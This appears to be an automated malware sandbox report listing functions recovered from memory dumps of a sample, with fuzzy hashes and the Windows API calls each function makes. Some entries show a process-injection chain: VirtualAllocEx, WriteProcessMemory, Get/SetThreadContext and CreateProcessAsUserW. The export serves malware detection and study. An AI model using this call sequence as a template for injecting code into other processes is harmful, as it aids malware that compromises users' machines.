Opcode Fuzzy Hash: 0b39196b2fd875ae3a98b148fe9b8d1028a6d0b58455e655e639265b368f5bdb
Instruction Fuzzy Hash: 31411A74E046198FEB58CFAAC8417DEFBB6EF89204F10C0AAC51CEB355DA341A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 00969E80, Relevance: .9, Instructions: 895COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd5a12c3b959d6d2e07069b6092fa252b4a85f3962e5d57003773c8cb6121701
Instruction ID: 6e2fbe12ad223dfb5ac2104818a0afe5c236667294be3d595cdf32b7cc5d019a
Opcode Fuzzy Hash: cd5a12c3b959d6d2e07069b6092fa252b4a85f3962e5d57003773c8cb6121701
Instruction Fuzzy Hash: 45827D34A00209DFCB15CF68C984AAEBBB6FF89310F158569E406AB361D735ED41CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0096C9BB, Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b9c34cee6204518c74d342e0488aa5f033e8f419869e26cdbec67571735a01c
Instruction ID: 760e7a6f755c9d0fcae4f9f42dbe06e0329cba289db1249aa6659340b39ca18d
Opcode Fuzzy Hash: 7b9c34cee6204518c74d342e0488aa5f033e8f419869e26cdbec67571735a01c
Instruction Fuzzy Hash: 6B629EB4E0121ACFEB64DFA9C980A9DFBF2BF89304F1581A5D518AB611D7309D81CF64

Uniqueness

Uniqueness Score: -1.00%

Function 088161A8, Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dceb8b92e9a659a77521be53d151bcc045b45e2933f567920303041ff5326ecf
Instruction ID: a9785d4ee8130f2adf434d71ad66592df73ecb70c42ce1007d72118b2c36661b
Opcode Fuzzy Hash: dceb8b92e9a659a77521be53d151bcc045b45e2933f567920303041ff5326ecf
Instruction Fuzzy Hash: 2852E074E012298FDB64CFA9C984BDDBBF6AF88301F1081A9D549A7351EB349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0096D4AF, Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba2c7cf1d0d0e66a09b67c144de7b2691281d01e99fe680a82cb5e9a98c056ec
Instruction ID: 0f2095fe562c234fe35275e214f1719f81c74a3e9a1ef0a6f644ec312a8aeb7c
Opcode Fuzzy Hash: ba2c7cf1d0d0e66a09b67c144de7b2691281d01e99fe680a82cb5e9a98c056ec
Instruction Fuzzy Hash: 0942E270E0521ACFEB54DFA9C984A8DFBB2BF89315F56C195C418AB211CB309D81CF65

Uniqueness

Uniqueness Score: -1.00%

Function 08818A48, Relevance: .5, Instructions: 516COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ed2b1bbc4f401335c8e24158a3315fde8a3631ae7899ac2cad5803631166ed3
Instruction ID: 2490bd2bf06a896739dcea6e7ef43753216992da58a8e0e41aa3bc5e4fd94dd5
Opcode Fuzzy Hash: 3ed2b1bbc4f401335c8e24158a3315fde8a3631ae7899ac2cad5803631166ed3
Instruction Fuzzy Hash: 392229B0E002188BDF58DFA9CC91BDDB7B2AF98305F5481A9D609A7741EB305E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0096EBE3, Relevance: .5, Instructions: 510COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8691e0f7b48911ca6bb3d1e054c0827d62d63abab66dfcd305aaf850668b5b4
Instruction ID: af96e6cb1929ad1a0e002cc533e75cf87fcfae1073882b4e07ceda4d8a940eda
Opcode Fuzzy Hash: a8691e0f7b48911ca6bb3d1e054c0827d62d63abab66dfcd305aaf850668b5b4
Instruction Fuzzy Hash: 85429074E01229CFDB54CFA9D984B9DBBB6BF48300F5185A9E809A7355D730AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 08811D50, Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e06d46539b835efc971220c53a3c1abaa354ad309c2c68f2a616b3f154b9334
Instruction ID: 2c9d0e4c409a6d1f2c2ab663e0588138a34411f7dcb6eeadd2c77a1e7f091f55
Opcode Fuzzy Hash: 2e06d46539b835efc971220c53a3c1abaa354ad309c2c68f2a616b3f154b9334
Instruction Fuzzy Hash: 40427074E01229CFDB64CFA9C984B9DBBB6FF88311F1481A9D809A7355D734AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 08810A28, Relevance: .5, Instructions: 501COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb1900a06622242a173a467433312fcf2107b6b277802bb2fa5b4022f4beafe
Instruction ID: 94fb36b9a8f6a49918dfae747979cc6d21b7503fb139039b9dfa64eaba87e9ef
Opcode Fuzzy Hash: adb1900a06622242a173a467433312fcf2107b6b277802bb2fa5b4022f4beafe
Instruction Fuzzy Hash: B832E37490021ACFEB54DFA9C984A8DFBB2BF89715F15C199C508AB612CB30ED81CF65

Uniqueness

Uniqueness Score: -1.00%

Function 08816198, Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0cd2cd4ace53014fd06bec74b3403f54bfd6dc3b46bfd62f07e8fa68acefbd9
Instruction ID: b1cb49c983dca59dbf711e667a641e31ef40929f81b9af6c2766a2b53cb749e3
Opcode Fuzzy Hash: e0cd2cd4ace53014fd06bec74b3403f54bfd6dc3b46bfd62f07e8fa68acefbd9
Instruction Fuzzy Hash: 4932E274E012288FDB64CF69C984BDDBBF6AF89301F1081AAD549A7351EB349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04ABCE48, Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76aea6f310075515bc2d259df5d30b314a46628a17943b6496c36e8e14f04c47
Instruction ID: 5a49c8efdc7b27dcf9e73f1f6508f0a79e2c82e27ded6679d29fceb8166c149c
Opcode Fuzzy Hash: 76aea6f310075515bc2d259df5d30b314a46628a17943b6496c36e8e14f04c47
Instruction Fuzzy Hash: 1ED1E174E01228CFDB14CFA5D958BDDBBF1BB49300F2085AAD849AB355DB349A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2798, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab66e2ef5d7a127f904fd9260b78e39c900697e32b78bae7ff0ebea5099feb0b
Instruction ID: 38538ef4d097007d8330d773ac7bc0db4031e2a39e3da736ff12572be2a58960
Opcode Fuzzy Hash: ab66e2ef5d7a127f904fd9260b78e39c900697e32b78bae7ff0ebea5099feb0b
Instruction Fuzzy Hash: ECD1C175E00228CFDB54DFA9C988B9DBBB2FF88300F1085AAD449A7355DB306A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04ABCE58, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08ae1866fbb6967b1a981c8f60668d75ff8d9154ca39645dea6920f89c1a557
Instruction ID: 2a09597690a22a8c86d5272f9337c2845958a5e8ae46839c50fb99f82d6e3a9a
Opcode Fuzzy Hash: c08ae1866fbb6967b1a981c8f60668d75ff8d9154ca39645dea6920f89c1a557
Instruction Fuzzy Hash: 1AD1F1B4E01228CFDB14CFA5D948BDDBBF1BB49300F2095AAD849AB355DB349A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04AB8514, Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f404807de38238d145466fdb115f416584ce85dfedca56d51e76e1c488e62c97
Instruction ID: f1ecb9167282259d83cf39240b3d50c05d01c08f29f9cca5e8f63e858f8ea2a5
Opcode Fuzzy Hash: f404807de38238d145466fdb115f416584ce85dfedca56d51e76e1c488e62c97
Instruction Fuzzy Hash: 2CC13A70E042588FDB14DFB9C8506DDBBB6BF89304F14C1AAD458AB356EB34A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0096B5C0, Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce56dcbcd4fb4241fe0328e0287fa578bc91ba5631ab10334bf668282da0d008
Instruction ID: e321756f32962e87db81aa7e4e026c4b2459173a5a89a2ab7c9a9ad51037a76c
Opcode Fuzzy Hash: ce56dcbcd4fb4241fe0328e0287fa578bc91ba5631ab10334bf668282da0d008
Instruction Fuzzy Hash: B691D2356042159FCB14CF69C884A6EBBB9FF84710F1680A9E815CF7A2E730ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 08811D42, Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6cbc4632cd6a16bd336583990a723c60b7ad66478084ae4b28fa410f72d8e8
Instruction ID: 275cfa345984ecce890f128c5095d1cbc163f0237ec9c5e8e2261ea8aac89c40
Opcode Fuzzy Hash: fa6cbc4632cd6a16bd336583990a723c60b7ad66478084ae4b28fa410f72d8e8
Instruction Fuzzy Hash: 9661A675E05218CFEB18CFAAD984B9EBBB2FF88301F1481AAD805A7354DB359941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04AB9481, Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0a5240d5ccb673ce48bfa0601915888cc8bcf12859082f3ddf45a08cb902f4
Instruction ID: 7d48c069be70f1d7f9198bdf286e40798dfe50609fb086bedc95d7884b76ad37
Opcode Fuzzy Hash: ab0a5240d5ccb673ce48bfa0601915888cc8bcf12859082f3ddf45a08cb902f4
Instruction Fuzzy Hash: 9851F0B4E042489FCB14CFA9C484ADEBBF5EF09314F24812AE559AB391D731A949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 08810A22, Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f878d447078770d03a84745be22fd11ccce59ea6a5c492ae0e0ef1ccb948b991
Instruction ID: f2561cd1a41e1d67dca2b1fa44ef0a3c4204f2fc60bee34e05d8efd162987826
Opcode Fuzzy Hash: f878d447078770d03a84745be22fd11ccce59ea6a5c492ae0e0ef1ccb948b991
Instruction Fuzzy Hash: 0251F874E006198FEB58DFAAC84179EBBB7AFC9204F00C0A9D54DEB255DB305A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 04AB83F0, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b297c54d18a39059a5081eaca7eaa37d25dbf835a4352d7d2f7c713da89d363f
Instruction ID: 4abac8e9acc5eafa0a5b252f17f47c3a8cf967cd4be3bba599fbfec83bb384a8
Opcode Fuzzy Hash: b297c54d18a39059a5081eaca7eaa37d25dbf835a4352d7d2f7c713da89d363f
Instruction Fuzzy Hash: 9741AAB4D042089FCB10CFA9C584ADEBBF8BF09304F24902AE559BB351D775A949CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04AB6758, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a99080ba0c54846456eea6b120ee35199d0e7a7dff02631c6254427811a1318f
Instruction ID: d9d2d8770c5de9a3bb729a74f00d4ae3f9cfe3ee147257dfbc9710b153a6d2b3
Opcode Fuzzy Hash: a99080ba0c54846456eea6b120ee35199d0e7a7dff02631c6254427811a1318f
Instruction Fuzzy Hash: 2541C9B4D052089FDB10CFAAC584BDEBBF4BB09314F20902AE414BB251DB70A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 04AB6C9D, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d76be2a55a3adad8b3ce6f8f8fd29d36dd0740ac4350631ce8a8f2f6307c810
Instruction ID: 2bdfb63d48ab488c54c6ba2854150d5f10083cd5a812c7f13003614aac8902ac
Opcode Fuzzy Hash: 5d76be2a55a3adad8b3ce6f8f8fd29d36dd0740ac4350631ce8a8f2f6307c810
Instruction Fuzzy Hash: 7F41A9B4D052089FDB10CFAAC584BDEFBF4BB09314F20902AE414BB251DB75A949CF95

Uniqueness

Uniqueness Score: -1.00%

Function 04AB7498, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f6417fcd1042e8a2c17bebc9dc145caf22d94f35d09e2274f501c2208fa689
Instruction ID: 417d712440ee2272d4a9d1f3e8a2591793b0c852ab2cb9db44e8e007fd963ce3
Opcode Fuzzy Hash: 14f6417fcd1042e8a2c17bebc9dc145caf22d94f35d09e2274f501c2208fa689
Instruction Fuzzy Hash: 86219278D00208EFDB14CFAAD4846EDBBF5BB89310F10D129E855B7250D7749541CF98

Uniqueness

Uniqueness Score: -1.00%

Function 04AB7495, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258ed30d6837475a02e3ea7b94eaeab2a6008146a78823df8dbe6f0b1c7ed33a
Instruction ID: 716b053a81809fd8e22d068a44e19ec457aac67772a62a5ce250fc1df95d983d
Opcode Fuzzy Hash: 258ed30d6837475a02e3ea7b94eaeab2a6008146a78823df8dbe6f0b1c7ed33a
Instruction Fuzzy Hash: 6C11B678D00208DFDB14CFA9D4446EDBBB1BB89350F20E215E86577291D7749945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04ABDEF8, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a232cb34964f0acdb7b82d4b47241881f9df44051e465fa8ceb10bc44ecc8bc
Instruction ID: de1430c6c4ce441a279c71784df7c0554a2e7372db0fa098dca83ab11bc3366e
Opcode Fuzzy Hash: 0a232cb34964f0acdb7b82d4b47241881f9df44051e465fa8ceb10bc44ecc8bc
Instruction Fuzzy Hash: 71015270C0A248DFCB05CFB8C8683EEBFB0BF0A201F1045AAC095B3292D7344A85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 04AB8584, Relevance: 1.8, APIs: 1, Instructions: 273COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,?,?,?,?), ref: 04ABE299

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 2b517c93816672f26d34ce449b2e61926add42b1941650d0bc52088198a18dea
Instruction ID: f814ed6cc927efdfa729a1718e99981abe4e9b236acb7c45b50e98427b996e66
Opcode Fuzzy Hash: 2b517c93816672f26d34ce449b2e61926add42b1941650d0bc52088198a18dea
Instruction Fuzzy Hash: ABC1DF74E052188FDB24CFA9D881BDEBBB1BF49304F1481A9E449A7352DB34A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 08814EC7, Relevance: 1.8, APIs: 1, Instructions: 270processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,0881726D,?,?,?), ref: 088174D4

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 1f01465e2a862665dc2980f4bde02a8f1bc8913f8dee298e28bbfc1a279c5dfe
Instruction ID: 0338bfeef87cb1d09bd7630f7b207865cf2f5d8d481c852f716d594811a2f76d
Opcode Fuzzy Hash: 1f01465e2a862665dc2980f4bde02a8f1bc8913f8dee298e28bbfc1a279c5dfe
Instruction Fuzzy Hash: B5A104B5C0426D8FCF21CFA4C880BDDBBB5AF1A304F0590AAD548B7250DB309A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04ABDFED, Relevance: 1.8, APIs: 1, Instructions: 264COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,?,?,?,?), ref: 04ABE299

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: f28a607a81d40e34372ae0ab627d92dc0822106fd17115efb1191000432c78d2
Instruction ID: 2e892c4154442d9ab52cfb23ac9f9a1c1a4c0d870635788bd7c921fc2ef33b5d
Opcode Fuzzy Hash: f28a607a81d40e34372ae0ab627d92dc0822106fd17115efb1191000432c78d2
Instruction Fuzzy Hash: 43B1E374E05218CFDB24CFA9D885BDEBBB1BF49304F1481A9E449AB352D730A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 088172DC, Relevance: 1.8, APIs: 1, Instructions: 254processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,0881726D,?,?,?), ref: 088174D4

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: d0932901711e7d656ed9ee32223d93017f5bd6b6b9abb34e092159db3bb7ae6d
Instruction ID: 068c56d97d94750ffd11dd488e7d4933092fe16db4041462d4f99c919812ed18
Opcode Fuzzy Hash: d0932901711e7d656ed9ee32223d93017f5bd6b6b9abb34e092159db3bb7ae6d
Instruction Fuzzy Hash: 6891E0B0D0422D9FCF21CFA5C880BDDBBB5BB19304F0491AAE548B7210DB309A89CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0881A1E0, Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0881A2BB

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9fb451a4845fb1daaab6a0b37aace1714ff7ff690dcb182e4089c6e2601675bd
Instruction ID: b92d7b2389d64f6eee6baad8aa824837ee9b5d7cb70216352d0ec58bd9033510
Opcode Fuzzy Hash: 9fb451a4845fb1daaab6a0b37aace1714ff7ff690dcb182e4089c6e2601675bd
Instruction Fuzzy Hash: 2D41BAB5D052588FCF04CFA9D980AEEFBF1BB49314F14902AE819B7200D735AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0881A1E8, Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0881A2BB

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2b8786c5139ea3d3f39093cf57fe41e386a0d793a65bb084f0fc2dbd6eb91288
Instruction ID: cd4d1802550a6a415cc29df90c86bdfd84b95864b2039f3fe9083bb9374f7734
Opcode Fuzzy Hash: 2b8786c5139ea3d3f39093cf57fe41e386a0d793a65bb084f0fc2dbd6eb91288
Instruction Fuzzy Hash: F841BAB5D052589FCF00CFA9D984AEEFBF1BB49314F14902AE819B7200D735AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 08819DC8, Relevance: 1.6, APIs: 1, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 08819E7A

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f2b0d417cef37140d284015f5c4c417085cab5e9f2011aef545fa9f6dbd485d4
Instruction ID: 66430cc8de5dd0531cacb8b6ebf9abae94479d050e5ea992cad51c63607cc30b
Opcode Fuzzy Hash: f2b0d417cef37140d284015f5c4c417085cab5e9f2011aef545fa9f6dbd485d4
Instruction Fuzzy Hash: 1A31ABB9D042589FCF00CFA9D880AEEFBB1BB09314F10942AE815B7310D735A906CF54

Uniqueness

Uniqueness Score: -1.00%

Function 08819DD0, Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 08819E7A

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f7dad47b4137e1e43352a68553991c3d135cd659a3e6d795b4107243d8068493
Instruction ID: 6f35ffaf215d9f5ceb16d23da20cf702c6fb2b432dc37c6756a2d9f413ef8202
Opcode Fuzzy Hash: f7dad47b4137e1e43352a68553991c3d135cd659a3e6d795b4107243d8068493
Instruction Fuzzy Hash: 2131A9B9D042589FCF00CFA9D880AEEFBB5BB49314F10A02AE815B7310D775A915CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04AB1581, Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04AB162F

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 43d745dcd43cc41db3881d9e6d95192689bcbef50487e7414118ce333ef70a54
Instruction ID: 78bb68e839d791f314753d07cb81d3bf3e7c0dd807faa944225061e6cb0b25b9
Opcode Fuzzy Hash: 43d745dcd43cc41db3881d9e6d95192689bcbef50487e7414118ce333ef70a54
Instruction Fuzzy Hash: 4E31A9B9D042589FCF10CFA9E484AEEFBB0BB19310F14902AE854B7210D734A946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0096D3A8, Relevance: 1.6, APIs: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0096D457

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 360a54bb7d81d93a22332b0faf6a544d316ec02a3d69bd886d3bbb18c52e30f6
Instruction ID: a9a75aedecae8960ea5dc213b6feee2bbfd032f22c6cb53017becfa9891cc574
Opcode Fuzzy Hash: 360a54bb7d81d93a22332b0faf6a544d316ec02a3d69bd886d3bbb18c52e30f6
Instruction Fuzzy Hash: BB31BBB9D052589FCF10CFA9E484AEEFBB0BF09310F14902AE854B7250C775A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0881A630, Relevance: 1.6, APIs: 1, Instructions: 95threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNEL32(?,?), ref: 0881A6E7

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: d48f0d84e57faeb2637dc0895dde64e5374d32e57ea7a1ff34e69fd5a32a4452
Instruction ID: 5dacbb77bb1f12cdb7f7ab477a81c6bc3458c1bdcbf671a3e79e928f2072d272
Opcode Fuzzy Hash: d48f0d84e57faeb2637dc0895dde64e5374d32e57ea7a1ff34e69fd5a32a4452
Instruction Fuzzy Hash: 284199B5D052589FDF04CFA9D884AEEBBB1BF49314F14902AE415B7240D738AA86CF64

Uniqueness

Uniqueness Score: -1.00%

Function 088192D8, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNEL32(?,?), ref: 08819387

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 6a476955f1e1dae973446e2cfc299a38d2369822a4445b52ddadf1d747dc3d19
Instruction ID: 70596266cc6e023dc7f9b86ee806c06e50b477d930928ac658957baacae3c585
Opcode Fuzzy Hash: 6a476955f1e1dae973446e2cfc299a38d2369822a4445b52ddadf1d747dc3d19
Instruction Fuzzy Hash: BD31CAB4D042589FCF00CFAAD884AEEFBF5BB49314F14902AE404B7240C738A949CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0881A638, Relevance: 1.6, APIs: 1, Instructions: 94threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNEL32(?,?), ref: 0881A6E7

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 457ac283a8b1d8b9ffa80a6e41a55eb0b7a5171228659ed799f33577e86b74e1
Instruction ID: 10b2d0c975356aa41a703bbab38cad67d9a9712856b36add6e82f5f18c70d5d4
Opcode Fuzzy Hash: 457ac283a8b1d8b9ffa80a6e41a55eb0b7a5171228659ed799f33577e86b74e1
Instruction Fuzzy Hash: 4331AAB5D052589FCF14CFAAD884AEEBBB5AB49314F14802AE415B7240D738A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0096D3B0, Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0096D457

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b79fb7061b5356660cfb3ca28a5ec97df6d1d90ef605e4d13cbf70b1547bcf9a
Instruction ID: dfabd45b2f56b0f13c36da409bf1df20e39ab39124c0b466b625f7de0ed4d2f0
Opcode Fuzzy Hash: b79fb7061b5356660cfb3ca28a5ec97df6d1d90ef605e4d13cbf70b1547bcf9a
Instruction Fuzzy Hash: 293199B9D052589FCF10CFAAD484ADEFBF0BB09314F14902AE814B7250D775A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04AB1588, Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04AB162F

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 77f20bfb844b410b3484bfb1f261ed7cfa3649c742365213648714c00501c832
Instruction ID: e446cfde9062701221fa0c9b83b93f88bf7b71d8a8634d4ab875207146e64962
